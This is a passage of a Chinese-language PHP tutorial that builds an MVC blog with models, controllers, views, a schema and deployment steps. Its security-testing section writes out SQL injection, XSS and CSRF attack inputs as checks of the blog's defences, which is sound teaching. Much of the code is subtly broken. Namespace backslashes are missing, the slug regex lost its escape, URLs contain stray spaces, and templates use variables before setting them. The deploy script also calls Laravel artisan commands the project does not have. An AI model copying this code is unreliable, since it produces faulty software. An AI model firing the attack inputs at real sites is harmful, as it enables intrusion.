'tags',
'featured_image',
'views',
'comment_count',
];
/**
* 获取文章的作者
*
* @return User|null 作者用户模型
*/
public function author(): ?User
{
if (empty($this->attributes['author_id'])) {
return null;
}
$userModel = new User();
return $userModel->find($this->attributes['author_id']);
}
/**
* 获取文章的格式化创建时间
*
* @param string $format 日期格式
* @return string 格式化后的日期
*/
public function getCreatedAt(string $format = 'Y-m-d H:i:s'): string
{
$timestamp = strtotime($this->attributes['created_at'] ?? '');
return date($format, $timestamp);
}
/**
* 获取文章摘要
*
* @param int $length 摘要长度
* @return string 文章摘要
*/
public function getExcerpt(int $length = 200): string
{
if (!empty($this->attributes['excerpt'])) {
return $this->attributes['excerpt'];
}
$content = strip_tags($this->attributes['content'] ?? '');
if (mb_strlen($content) > $length) {
$content = mb_substr($content, 0, $length) . '...';
}
return $content;
}
/**
* 增加文章浏览量
*
* @return bool 是否成功
*/
public function incrementViews(): bool
{
if (empty($this->attributes[$this->primaryKey])) {
return false;
}
$sql = "UPDATE {$this->table} SET views = views + 1 WHERE {$this->primaryKey} = ?";
try {
$result = Database::execute($sql, [$this->attributes[$this->primaryKey]]);
if ($result) {
$this->attributes['views'] = ($this->attributes['views'] ?? 0) + 1;
}
return $result > 0;
} catch (PDOException $e) {
Logger::error('增加文章浏览量失败: ' . $e->getMessage());
return false;
}
}
/**
* 根据slug获取文章
*
* @param string $slug 文章slug
* @return self|null 文章模型或null
*/
public function findBySlug(string $slug): ?self
{
$sql = "SELECT * FROM {$this->table} WHERE slug = ?";
$result = Database::querySingle($sql, [$slug]);
if ($result) {
return new static($result);
}
return null;
}
/**
* 获取已发布的文章
*
* @param int $limit 限制数量
* @param int $offset 偏移量
* @return array 文章数组
*/
public function getPublishedPosts(int $limit = 10, int $offset = 0): array
{
$sql = "SELECT p.*, u.display_name as author_name
FROM {$this->table} p
LEFT JOIN blog_users u ON p.author_id = u.user_id
WHERE p.status = 'published'
ORDER BY p.created_at DESC
LIMIT ? OFFSET ?";
$results = Database::query($sql, [$limit, $offset]);
$posts = [];
foreach ($results as $result) {
$posts[] = new static($result);
}
return $posts;
}
/**
* 获取已发布文章的总数
*
* @return int 文章总数
*/
public function getPublishedCount(): int
{
$sql = "SELECT COUNT(*) as count FROM {$this->table} WHERE status = 'published'";
$result = Database::querySingle($sql);
return $result ? (int)$result['count'] : 0;
}
/**
* 生成文章slug
*
* @param string $title 文章标题
* @return string 生成的slug
*/
public static function generateSlug(string $title): string
{
// 转换为小写
$slug = mb_strtolower($title, 'UTF-8');
// 替换空格为连字符
$slug = preg_replace('/s+/', '-', $slug);
// 移除特殊字符
$slug = preg_replace('/[^a-z0-9-]/', '', $slug);
// 移除多余的连字符
$slug = preg_replace('/-+/', '-', $slug);
$slug = trim($slug, '-');
// 如果slug为空,使用时间戳
if (empty($slug)) {
$slug = 'post-' . time();
}
return $slug;
}
/**
* 重写保存方法,自动生成slug
*
* @return bool 是否成功
*/
public function save(): bool
{
// 如果slug为空,根据标题生成
if (empty($this->attributes['slug']) && !empty($this->attributes['title'])) {
$this->attributes['slug'] = self::generateSlug($this->attributes['title']);
}
// 如果创建时间为空,设置当前时间
if (empty($this->attributes['created_at'])) {
$this->attributes['created_at'] = date('Y-m-d H:i:s');
}
// 如果更新时间为空,设置当前时间
$this->attributes['updated_at'] = date('Y-m-d H:i:s');
return parent::save();
}
}
<?php
// app/Controllers/PostController.php
namespace AppControllers;
use AppCoreController;
use AppModelsPost;
use AppModelsUser;
use AppCoreLogger;
/**
* 文章控制器
* 处理文章的展示、创建、编辑、删除等操作
*/
class PostController extends Controller
{
/**
* 显示文章列表
*
* @return void
*/
public function index(): void
{
$page = max(1, (int)($this->getQuery('page', 1)));
$limit = 5; // 每页显示5篇文章
$offset = ($page - 1) * $limit;
$postModel = new Post();
$posts = $postModel->getPublishedPosts($limit, $offset);
$totalPosts = $postModel->getPublishedCount();
$totalPages = ceil($totalPosts / $limit);
$data = [
'title' => '文章列表',
'posts' => $posts,
'currentPage' => $page,
'totalPages' => $totalPages,
'hasPrevPage' => $page > 1,
'hasNextPage' => $page < $totalPages,
];
$this->render('post/index', $data);
}
/**
* 显示单篇文章
*
* @param array $params 路由参数
* @return void
*/
public function show(array $params = []): void
{
$slug = $params['slug'] ?? '';
if (empty($slug)) {
$this->redirect('/posts');
return;
}
$postModel = new Post();
$post = $postModel->findBySlug($slug);
if (!$post) {
$this->setFlash('error', '文章不存在');
$this->redirect('/posts');
return;
}
// 增加浏览量
$post->incrementViews();
$data = [
'title' => htmlspecialchars($post->title, ENT_QUOTES, 'UTF-8'),
'post' => $post,
];
$this->render('post/show', $data);
}
/**
* 显示创建文章页面
*
* @return void
*/
public function create(): void
{
// 检查用户是否登录且有权限
if (!$this->isLoggedIn()) {
$this->setFlash('error', '请先登录');
$this->redirect('/auth/login');
return;
}
if (!$this->hasPermission('editor')) {
$this->setFlash('error', '您没有权限创建文章');
$this->redirect('/');
return;
}
$data = [
'title' => '创建文章',
'csrf_token' => $this->generateCsrfToken(),
];
$this->render('post/create', $data);
}
/**
* 处理创建文章表单提交
*
* @return void
*/
public function store(): void
{
// 检查用户是否登录且有权限
if (!$this->isLoggedIn()) {
$this->setFlash('error', '请先登录');
$this->redirect('/auth/login');
return;
}
if (!$this->hasPermission('editor')) {
$this->setFlash('error', '您没有权限创建文章');
$this->redirect('/');
return;
}
// 验证CSRF令牌
if (!$this->validateCsrfToken()) {
$this->setFlash('error', '安全令牌验证失败,请重试');
$this->redirect('/posts/create');
return;
}
// 获取表单数据
$title = trim($this->getPost('title', ''));
$content = trim($this->getPost('content', ''));
$excerpt = trim($this->getPost('excerpt', ''));
$status = $this->getPost('status', 'draft');
$tags = trim($this->getPost('tags', ''));
// 数据验证
$errors = [];
if (empty($title)) {
$errors[] = '文章标题不能为空';
} elseif (mb_strlen($title) > 200) {
$errors[] = '文章标题不能超过200个字符';
}
if (empty($content)) {
$errors[] = '文章内容不能为空';
}
if (!in_array($status, ['draft', 'published', 'private'])) {
$errors[] = '文章状态无效';
}
// 如果有错误,返回创建页面并显示错误
if (!empty($errors)) {
foreach ($errors as $error) {
$this->setFlash('error', $error);
}
$data = [
'title' => '创建文章',
'formData' => [
'title' => htmlspecialchars($title, ENT_QUOTES, 'UTF-8'),
'content' => htmlspecialchars($content, ENT_QUOTES, 'UTF-8'),
'excerpt' => htmlspecialchars($excerpt, ENT_QUOTES, 'UTF-8'),
'status' => htmlspecialchars($status, ENT_QUOTES, 'UTF-8'),
'tags' => htmlspecialchars($tags, ENT_QUOTES, 'UTF-8'),
],
'csrf_token' => $this->generateCsrfToken(),
];
$this->render('post/create', $data);
return;
}
// 获取当前用户ID
$user = $this->getCurrentUser();
// 创建文章
try {
$post = new Post([
'title' => $title,
'content' => $content,
'excerpt' => $excerpt,
'status' => $status,
'author_id' => $user->user_id,
'tags' => $tags,
]);
if ($post->save()) {
Logger::info("文章创建成功: {$title} (ID: {$post->post_id})");
$this->setFlash('success', '文章创建成功');
$this->redirect('/posts/' . $post->slug);
} else {
$this->setFlash('error', '文章创建失败,请稍后重试');
$this->redirect('/posts/create');
}
} catch (Exception $e) {
Logger::error('文章创建失败: ' . $e->getMessage());
$this->setFlash('error', '系统错误,请稍后重试');
$this->redirect('/posts/create');
}
}
/**
* 显示编辑文章页面
*
* @param array $params 路由参数
* @return void
*/
public function edit(array $params = []): void
{
// 检查用户是否登录
if (!$this->isLoggedIn()) {
$this->setFlash('error', '请先登录');
$this->redirect('/auth/login');
return;
}
$postId = $params['id'] ?? 0;
if (empty($postId)) {
$this->setFlash('error', '文章ID不能为空');
$this->redirect('/posts');
return;
}
// 获取文章
$postModel = new Post();
$post = $postModel->find($postId);
if (!$post) {
$this->setFlash('error', '文章不存在');
$this->redirect('/posts');
return;
}
// 检查权限:作者或管理员可以编辑
$user = $this->getCurrentUser();
if ($post->author_id != $user->user_id && !$user->isAdmin()) {
$this->setFlash('error', '您没有权限编辑此文章');
$this->redirect('/posts/' . $post->slug);
return;
}
$data = [
'title' => '编辑文章',
'post' => $post,
'csrf_token' => $this->generateCsrfToken(),
];
$this->render('post/edit', $data);
}
/**
* 处理编辑文章表单提交
*
* @param array $params 路由参数
* @return void
*/
public function update(array $params = []): void
{
// 检查用户是否登录
if (!$this->isLoggedIn()) {
$this->setFlash('error', '请先登录');
$this->redirect('/auth/login');
return;
}
$postId = $params['id'] ?? 0;
if (empty($postId)) {
$this->setFlash('error', '文章ID不能为空');
$this->redirect('/posts');
return;
}
// 获取文章
$postModel = new Post();
$post = $postModel->find($postId);
if (!$post) {
$this->setFlash('error', '文章不存在');
$this->redirect('/posts');
return;
}
// 检查权限:作者或管理员可以编辑
$user = $this->getCurrentUser();
if ($post->author_id != $user->user_id && !$user->isAdmin()) {
$this->setFlash('error', '您没有权限编辑此文章');
$this->redirect('/posts/' . $post->slug);
return;
}
// 验证CSRF令牌
if (!$this->validateCsrfToken()) {
$this->setFlash('error', '安全令牌验证失败,请重试');
$this->redirect('/posts/edit/' . $postId);
return;
}
// 获取表单数据
$title = trim($this->getPost('title', ''));
$content = trim($this->getPost('content', ''));
$excerpt = trim($this->getPost('excerpt', ''));
$status = $this->getPost('status', 'draft');
$tags = trim($this->getPost('tags', ''));
// 数据验证(与创建时相同)
$errors = [];
if (empty($title)) {
$errors[] = '文章标题不能为空';
} elseif (mb_strlen($title) > 200) {
$errors[] = '文章标题不能超过200个字符';
}
if (empty($content)) {
$errors[] = '文章内容不能为空';
}
if (!in_array($status, ['draft', 'published', 'private'])) {
$errors[] = '文章状态无效';
}
// 如果有错误,返回编辑页面并显示错误
if (!empty($errors)) {
foreach ($errors as $error) {
$this->setFlash('error', $error);
}
$data = [
'title' => '编辑文章',
'post' => $post,
'formData' => [
'title' => htmlspecialchars($title, ENT_QUOTES, 'UTF-8'),
'content' => htmlspecialchars($content, ENT_QUOTES, 'UTF-8'),
'excerpt' => htmlspecialchars($excerpt, ENT_QUOTES, 'UTF-8'),
'status' => htmlspecialchars($status, ENT_QUOTES, 'UTF-8'),
'tags' => htmlspecialchars($tags, ENT_QUOTES, 'UTF-8'),
],
'csrf_token' => $this->generateCsrfToken(),
];
$this->render('post/edit', $data);
return;
}
// 更新文章
try {
$post->fill([
'title' => $title,
'content' => $content,
'excerpt' => $excerpt,
'status' => $status,
'tags' => $tags,
]);
if ($post->save()) {
Logger::info("文章更新成功: {$title} (ID: {$postId})");
$this->setFlash('success', '文章更新成功');
$this->redirect('/posts/' . $post->slug);
} else {
$this->setFlash('error', '文章更新失败,请稍后重试');
$this->redirect('/posts/edit/' . $postId);
}
} catch (Exception $e) {
Logger::error('文章更新失败: ' . $e->getMessage());
$this->setFlash('error', '系统错误,请稍后重试');
$this->redirect('/posts/edit/' . $postId);
}
}
/**
* 删除文章
*
* @param array $params 路由参数
* @return void
*/
public function destroy(array $params = []): void
{
// 检查用户是否登录
if (!$this->isLoggedIn()) {
$this->setFlash('error', '请先登录');
$this->redirect('/auth/login');
return;
}
$postId = $params['id'] ?? 0;
if (empty($postId)) {
$this->setFlash('error', '文章ID不能为空');
$this->redirect('/posts');
return;
}
// 获取文章
$postModel = new Post();
$post = $postModel->find($postId);
if (!$post) {
$this->setFlash('error', '文章不存在');
$this->redirect('/posts');
return;
}
// 检查权限:作者或管理员可以删除
$user = $this->getCurrentUser();
if ($post->author_id != $user->user_id && !$user->isAdmin()) {
$this->setFlash('error', '您没有权限删除此文章');
$this->redirect('/posts/' . $post->slug);
return;
}
// 验证CSRF令牌(删除操作也应该验证)
if (!$this->validateCsrfToken()) {
$this->setFlash('error', '安全令牌验证失败,请重试');
$this->redirect('/posts/' . $post->slug);
return;
}
// 删除文章
try {
if ($post->delete()) {
Logger::info("文章删除成功: ID: {$postId}");
$this->setFlash('success', '文章删除成功');
$this->redirect('/posts');
} else {
$this->setFlash('error', '文章删除失败,请稍后重试');
$this->redirect('/posts/' . $post->slug);
}
} catch (Exception $e) {
Logger::error('文章删除失败: ' . $e->getMessage());
$this->setFlash('error', '系统错误,请稍后重试');
$this->redirect('/posts/' . $post->slug);
}
}
}
示例7:视图模板示例
<?php
// app/Views/layout/header.php - 公共头部模板
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title><?php echo htmlspecialchars($title ?? '我的个人博客', ENT_QUOTES, 'UTF-8'); ?></title>
<!-- Bootstrap CSS -->
<link href="https:// cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet">
<style>
body { padding-top: 20px; }
.navbar { margin-bottom: 20px; }
.flash-messages { margin-bottom: 20px; }
.post-excerpt { margin-bottom: 30px; }
.post-meta { color: #666; font-size: 0.9em; }
</style>
</head>
<body>
<div class="container">
<!-- 导航栏 -->
<nav class="navbar navbar-expand-lg navbar-light bg-light">
<div class="container-fluid">
<a class="navbar-brand" href="/">我的博客</a>
<button class="navbar-toggler" type="button" data-bs-toggle="collapse" data-bs-target="#navbarNav">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarNav">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="/">首页</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/posts">文章列表</a>
</li>
<?php if ($isLoggedIn ?? false): ?>
<li class="nav-item">
<a class="nav-link" href="/posts/create">写文章</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/auth/logout">退出</a>
</li>
<li class="nav-item">
<span class="nav-link disabled">欢迎, <?php echo htmlspecialchars($currentUser->display_name ?? '', ENT_QUOTES, 'UTF-8'); ?></span>
</li>
<?php else: ?>
<li class="nav-item">
<a class="nav-link" href="/auth/login">登录</a>
</li>
<li class="nav-item">
<a class="nav-link" href="/auth/register">注册</a>
</li>
<?php endif; ?>
</ul>
</div>
</div>
</nav>
<!-- 闪存消息显示 -->
<div class="flash-messages">
<?php foreach ($flashMessages ?? [] as $flash): ?>
<div class="alert alert-<?php echo htmlspecialchars($flash['type'], ENT_QUOTES, 'UTF-8'); ?> alert-dismissible fade show" role="alert">
<?php echo htmlspecialchars($flash['message'], ENT_QUOTES, 'UTF-8'); ?>
<button type="button" class="btn-close" data-bs-dismiss="alert"></button>
</div>
<?php endforeach; ?>
</div>
<?php
// app/Views/layout/footer.php - 公共底部模板
<footer class="mt-5 pt-3 border-top">
<div class="row">
<div class="col-md-6">
<p>© <?php echo date('Y'); ?> 我的个人博客. 保留所有权利.</p>
</div>
<div class="col-md-6 text-end">
<p>基于 PHP <?php echo PHP_VERSION; ?> 构建</p>
</div>
</div>
</footer>
</div>
<!-- Bootstrap JS -->
<script src="https:// cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js"></script>
<script>
// 自动隐藏闪存消息
setTimeout(function() {
var alerts = document.querySelectorAll('.alert');
alerts.forEach(function(alert) {
var bsAlert = new bootstrap.Alert(alert);
bsAlert.close();
});
}, 5000);
</script>
</body>
</html>
<?php
// app/Views/post/index.php - 文章列表视图
// 包含头部模板
require APP_ROOT . '/app/Views/layout/header.php';
$data['isLoggedIn'] = $this->isLoggedIn();
$data['currentUser'] = $this->getCurrentUser();
$data['flashMessages'] = $this->getFlashMessages();
extract($data);
?>
<h1>文章列表</h1>
<?php if (empty($posts)): ?>
<div class="alert alert-info">
暂无文章发布,请稍后再来.
</div>
<?php else: ?>
<?php foreach ($posts as $post): ?>
<div class="post-excerpt card">
<div class="card-body">
<h2 class="card-title">
<a href="/posts/<?php echo htmlspecialchars($post->slug, ENT_QUOTES, 'UTF-8'); ?>">
<?php echo htmlspecialchars($post->title, ENT_QUOTES, 'UTF-8'); ?>
</a>
</h2>
<div class="post-meta mb-3">
<span class="me-3">
作者: <?php echo htmlspecialchars($post->author()->display_name ?? '未知', ENT_QUOTES, 'UTF-8'); ?>
</span>
<span class="me-3">
发布时间: <?php echo htmlspecialchars($post->getCreatedAt('Y年m月d日'), ENT_QUOTES, 'UTF-8'); ?>
</span>
<span class="me-3">
浏览: <?php echo htmlspecialchars($post->views ?? 0, ENT_QUOTES, 'UTF-8'); ?>
</span>
</div>
<p class="card-text">
<?php echo htmlspecialchars($post->getExcerpt(150), ENT_QUOTES, 'UTF-8'); ?>
</p>
<a href="/posts/<?php echo htmlspecialchars($post->slug, ENT_QUOTES, 'UTF-8'); ?>" class="btn btn-primary">
阅读全文
</a>
</div>
</div>
<?php endforeach; ?>
<!-- 分页导航 -->
<?php if ($totalPages > 1): ?>
<nav aria-label="文章分页">
<ul class="pagination justify-content-center">
<?php if ($hasPrevPage): ?>
<li class="page-item">
<a class="page-link" href="/posts?page=<?php echo $currentPage - 1; ?>">上一页</a>
</li>
<?php endif; ?>
<?php for ($i = 1; $i <= $totalPages; $i++): ?>
<li class="page-item <?php echo $i == $currentPage ? 'active' : ''; ?>">
<a class="page-link" href="/posts?page=<?php echo $i; ?>"><?php echo $i; ?></a>
</li>
<?php endfor; ?>
<?php if ($hasNextPage): ?>
<li class="page-item">
<a class="page-link" href="/posts?page=<?php echo $currentPage + 1; ?>">下一页</a>
</li>
<?php endif; ?>
</ul>
</nav>
<?php endif; ?>
<?php endif; ?>
<?php
// 包含底部模板
require APP_ROOT . '/app/Views/layout/footer.php';
<?php
// app/Views/auth/login.php - 登录页面视图
// 包含头部模板
require APP_ROOT . '/app/Views/layout/header.php';
$data['isLoggedIn'] = $this->isLoggedIn();
$data['currentUser'] = $this->getCurrentUser();
$data['flashMessages'] = $this->getFlashMessages();
extract($data);
?>
<div class="row justify-content-center">
<div class="col-md-6">
<h1 class="mb-4">用户登录</h1>
<form method="post" action="/auth/login">
<!-- CSRF令牌 -->
<input type="hidden" name="csrf_token" value="<?php echo htmlspecialchars($csrf_token, ENT_QUOTES, 'UTF-8'); ?>">
<div class="mb-3">
<label for="identifier" class="form-label">用户名或邮箱</label>
<input type="text" class="form-control" id="identifier" name="identifier"
value="<?php echo htmlspecialchars($identifier ?? '', ENT_QUOTES, 'UTF-8'); ?>" required>
</div>
<div class="mb-3">
<label for="password" class="form-label">密码</label>
<input type="password" class="form-control" id="password" name="password" required>
</div>
<div class="mb-3 form-check">
<input type="checkbox" class="form-check-input" id="remember" name="remember" value="1">
<label class="form-check-label" for="remember">记住我</label>
</div>
<button type="submit" class="btn btn-primary">登录</button>
<a href="/auth/register" class="btn btn-link">还没有账号?立即注册</a>
</form>
</div>
</div>
<?php
// 包含底部模板
require APP_ROOT . '/app/Views/layout/footer.php';
示例8:数据库表结构
-- 用户表
CREATE TABLE `blog_users` (
`user_id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`email` varchar(100) NOT NULL,
`password` varchar(255) NOT NULL,
`display_name` varchar(100) DEFAULT NULL,
`bio` text,
`avatar` varchar(255) DEFAULT NULL,
`status` enum('active','inactive','banned') DEFAULT 'active',
`role` enum('user','editor','admin') DEFAULT 'user',
`remember_token` varchar(100) DEFAULT NULL,
`created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`user_id`),
UNIQUE KEY `username` (`username`),
UNIQUE KEY `email` (`email`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
-- 文章表
CREATE TABLE `blog_posts` (
`post_id` int(11) NOT NULL AUTO_INCREMENT,
`title` varchar(200) NOT NULL,
`slug` varchar(200) NOT NULL,
`content` longtext NOT NULL,
`excerpt` text,
`author_id` int(11) NOT NULL,
`status` enum('draft','published','private') DEFAULT 'draft',
`category_id` int(11) DEFAULT NULL,
`tags` varchar(255) DEFAULT NULL,
`featured_image` varchar(255) DEFAULT NULL,
`views` int(11) DEFAULT '0',
`comment_count` int(11) DEFAULT '0',
`created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
`updated_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`post_id`),
UNIQUE KEY `slug` (`slug`),
KEY `author_id` (`author_id`),
KEY `status` (`status`),
KEY `category_id` (`category_id`),
CONSTRAINT `blog_posts_ibfk_1` FOREIGN KEY (`author_id`) REFERENCES `blog_users` (`user_id`) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
-- 插入示例数据
INSERT INTO `blog_users` (`username`, `email`, `password`, `display_name`, `role`) VALUES
('admin', 'admin@example.com', '$2y$12$YourHashedPasswordHere', '管理员', 'admin'),
('author1', 'author1@example.com', '$2y$12$YourHashedPasswordHere', '作者一号', 'editor');
INSERT INTO `blog_posts` (`title`, `slug`, `content`, `excerpt`, `author_id`, `status`) VALUES
('欢迎来到我的博客', 'welcome-to-my-blog', '这是我的第一篇博客文章...', '欢迎词和博客介绍', 1, 'published'),
('PHP开发入门指南', 'php-development-guide', 'PHP是一种广泛使用的开源脚本语言...', 'PHP基础知识介绍', 2, 'published');
实战项目:完整的个人博客系统
项目需求分析
功能需求
用户管理
用户注册、登录、登出
用户信息管理权限控制(普通用户、编辑、管理员)
文章管理
文章的创建、编辑、删除
文章分类和标签文章状态管理(草稿、已发布、私有)
文章搜索和筛选
内容展示
文章列表分页显示
单篇文章详细页面文章浏览量统计相关文章推荐
安全管理
防止SQL注入攻击
防止XSS跨站脚本攻击防止CSRF跨站请求伪造安全的密码存储和验证
非功能需求
性能要求
页面加载时间小于3秒
支持并发访问数据库查询优化
可用性要求
响应式设计,支持移动设备
友好的错误提示直观的用户界面
安全性要求
符合OWASP安全标准
敏感数据加密存储安全的会话管理
技术方案
技术栈选择
后端:PHP 7.4+,原生MVC架构数据库:MySQL 5.7+,使用PDO预处理前端:HTML5,CSS3,Bootstrap 5,少量JavaScript工具:Composer依赖管理,Git版本控制
架构设计
项目结构/
├── app/ # 应用代码
│ ├── Controllers/ # 控制器层
│ ├── Models/ # 模型层
│ ├── Views/ # 视图层
│ └── Core/ # 核心组件
├── config/ # 配置文件
├── public/ # 公开访问目录
│ ├── assets/ # 静态资源
│ └── index.php # 前端控制器
├── vendor/ # Composer依赖
├── logs/ # 日志文件
└── tests/ # 测试文件
分步骤实现
步骤1:环境准备和项目初始化
# 创建项目目录
mkdir myblog && cd myblog
# 初始化Composer
composer init
# 安装依赖
composer require monolog/monolog
# 创建项目目录结构
mkdir -p app/{Controllers,Models,Views/{layout,auth,post},Core}
mkdir -p public/assets/{css,js,images}
mkdir -p config logs tests
# 创建前端控制器
touch public/index.php
# 创建.htaccess文件(Apache)
echo "RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.*)$ index.php [QSA,L]" > public/.htaccess
# 创建数据库配置文件
touch config/main.php
touch config/development.php
touch config/production.php
步骤2:配置数据库连接
<?php
// config/development.php - 开发环境配置
return [
'database' => [
'host' => 'localhost',
'database' => 'myblog_dev',
'username' => 'root',
'password' => '',
'charset' => 'utf8mb4',
],
'display_errors' => true,
'log_level' => 'DEBUG',
];
-- 创建数据库和用户
CREATE DATABASE myblog_dev CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;
CREATE USER 'myblog_user'@'localhost' IDENTIFIED BY 'secure_password';
GRANT ALL PRIVILEGES ON myblog_dev.* TO 'myblog_user'@'localhost';
FLUSH PRIVILEGES;
-- 执行前面的SQL语句创建表结构
步骤3:实现核心组件
按照前面的代码示例,依次创建:
– 路由类
app/Core/Router.php – 数据库类
app/Core/Database.php – 配置类
app/Core/Config.php – 基础控制器
app/Core/Controller.php – 基础模型
app/Core/Model.php – 日志类
app/Core/Logger.php
步骤4:实现用户认证模块
创建用户模型:创建认证控制器:
app/Models/User.php创建登录/注册视图:
app/Controllers/AuthController.php,
app/Views/auth/login.php
app/Views/auth/register.php
步骤5:实现文章管理模块
创建文章模型:创建文章控制器:
app/Models/Post.php创建文章视图:
app/Controllers/PostController.php 目录下的各个视图文件
app/Views/post/
步骤6:创建主页控制器
<?php
// app/Controllers/HomeController.php
namespace AppControllers;
use AppCoreController;
use AppModelsPost;
/**
* 主页控制器
* 处理首页和其他静态页面
*/
class HomeController extends Controller
{
/**
* 显示首页
*
* @return void
*/
public function index(): void
{
// 获取最新的5篇文章
$postModel = new Post();
$latestPosts = $postModel->getPublishedPosts(5);
$data = [
'title' => '首页 - 我的个人博客',
'latestPosts' => $latestPosts,
];
$this->render('home/index', $data);
}
/**
* 显示关于页面
*
* @return void
*/
public function about(): void
{
$data = [
'title' => '关于我们',
];
$this->render('home/about', $data);
}
/**
* 显示联系页面
*
* @return void
*/
public function contact(): void
{
$data = [
'title' => '联系我们',
'csrf_token' => $this->generateCsrfToken(),
];
$this->render('home/contact', $data);
}
/**
* 处理联系表单提交
*
* @return void
*/
public function contactPost(): void
{
// 验证CSRF令牌
if (!$this->validateCsrfToken()) {
$this->setFlash('error', '安全令牌验证失败,请重试');
$this->redirect('/contact');
return;
}
// 获取表单数据
$name = trim($this->getPost('name', ''));
$email = trim($this->getPost('email', ''));
$message = trim($this->getPost('message', ''));
// 验证数据
$errors = [];
if (empty($name)) {
$errors[] = '姓名不能为空';
}
if (empty($email)) {
$errors[] = '邮箱不能为空';
} elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$errors[] = '邮箱格式不正确';
}
if (empty($message)) {
$errors[] = '消息内容不能为空';
} elseif (strlen($message) < 10) {
$errors[] = '消息内容太短,至少10个字符';
}
if (!empty($errors)) {
foreach ($errors as $error) {
$this->setFlash('error', $error);
}
$this->redirect('/contact');
return;
}
// 这里可以添加发送邮件的逻辑
Logger::info("收到联系表单: 姓名: {$name}, 邮箱: {$email}");
$this->setFlash('success', '感谢您的留言,我们会尽快回复!');
$this->redirect('/');
}
}
步骤7:配置路由规则
<?php
// public/index.php 中添加路由规则
// 在Router初始化后添加
$router->add('', ['controller' => 'Home', 'action' => 'index']);
$router->add('about', ['controller' => 'Home', 'action' => 'about']);
$router->add('contact', ['controller' => 'Home', 'action' => 'contact']);
$router->add('contact/post', ['controller' => 'Home', 'action' => 'contactPost']);
$router->add('auth/{action}', ['controller' => 'Auth']);
$router->add('auth/{action}/{id:d+}', ['controller' => 'Auth']);
$router->add('posts', ['controller' => 'Post', 'action' => 'index']);
$router->add('posts/create', ['controller' => 'Post', 'action' => 'create']);
$router->add('posts/store', ['controller' => 'Post', 'action' => 'store']);
$router->add('posts/{slug}', ['controller' => 'Post', 'action' => 'show']);
$router->add('posts/edit/{id:d+}', ['controller' => 'Post', 'action' => 'edit']);
$router->add('posts/update/{id:d+}', ['controller' => 'Post', 'action' => 'update']);
$router->add('posts/delete/{id:d+}', ['controller' => 'Post', 'action' => 'destroy']);
项目测试指南
功能测试
用户注册测试
测试正常注册流程
测试用户名重复测试邮箱重复测试密码强度验证测试表单验证
用户登录测试
测试正常登录
测试错误密码测试不存在的用户测试记住我功能测试登录后权限
文章管理测试
测试创建文章
测试编辑文章测试删除文章测试文章权限控制测试文章分页
安全测试
SQL注入测试
<?php
// 测试SQL注入防护
// 尝试在登录表单输入: ' OR '1'='1
$identifier = "' OR '1'='1";
$password = "anything";
// 使用预处理语句应该安全防护
$sql = "SELECT * FROM blog_users WHERE username = ? OR email = ?";
$stmt = $pdo->prepare($sql);
$stmt->execute([$identifier, $identifier]);
// 应该返回空结果,而不是所有用户
XSS攻击测试
<!-- 测试XSS防护 -->
<!-- 尝试在文章内容中输入: -->
<script>alert('XSS攻击');</script>
<!-- 输出时应该被htmlspecialchars转义为: -->
<script">>alert('XSS攻击');</script">>
CSRF攻击测试
<!-- 测试CSRF防护 -->
<!-- 尝试在外部站点提交表单 -->
<form action="http:// yourblog.com/posts/delete/1" method="POST">
<input type="hidden" name="csrf_token" value="假的token">
</form>
<script>document.forms[0].submit();</script>
<!-- 应该被CSRF令牌验证拦截 -->
性能测试
数据库查询优化
检查是否有N+1查询问题
为常用查询字段添加索引使用EXPLAIN分析查询计划
页面加载测试
使用浏览器开发者工具检查加载时间
优化图片和静态资源启用Gzip压缩
部署指南
生产环境配置
<?php
// config/production.php
return [
'database' => [
'host' => 'production-db-host',
'database' => 'myblog_prod',
'username' => 'prod_user',
'password' => 'strong_password_here',
'charset' => 'utf8mb4',
],
'app' => [
'url' => 'https:// yourdomain.com',
'debug' => false,
],
'display_errors' => false,
'log_level' => 'ERROR',
// 启用OPCache
'opcache' => [
'enable' => true,
'memory_consumption' => 128,
'interned_strings_buffer' => 8,
'max_accelerated_files' => 4000,
'revalidate_freq' => 60,
],
];
服务器配置(Nginx)
server {
listen 80;
server_name yourdomain.com;
root /var/www/myblog/public;
index index.php;
location / {
try_files $uri $uri/ /index.php?$query_string;
}
location ~ .php$ {
include fastcgi_params;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
}
location ~ /.ht {
deny all;
}
# 静态文件缓存
location ~* .(jpg|jpeg|png|gif|ico|css|js)$ {
expires 30d;
add_header Cache-Control "public, immutable";
}
}
部署脚本
#!/bin/bash
# deploy.sh - 部署脚本
echo "开始部署个人博客系统..."
# 1. 拉取最新代码
git pull origin main
# 2. 安装依赖
composer install --no-dev --optimize-autoloader
# 3. 设置文件权限
chmod -R 755 storage bootstrap/cache
chown -R www-data:www-data .
# 4. 清除缓存
php artisan cache:clear
php artisan view:clear
php artisan config:clear
# 5. 重启PHP-FPM
sudo systemctl reload php7.4-fpm
# 6. 重启Nginx
sudo systemctl reload nginx
echo "部署完成!"
项目扩展和优化建议
功能扩展
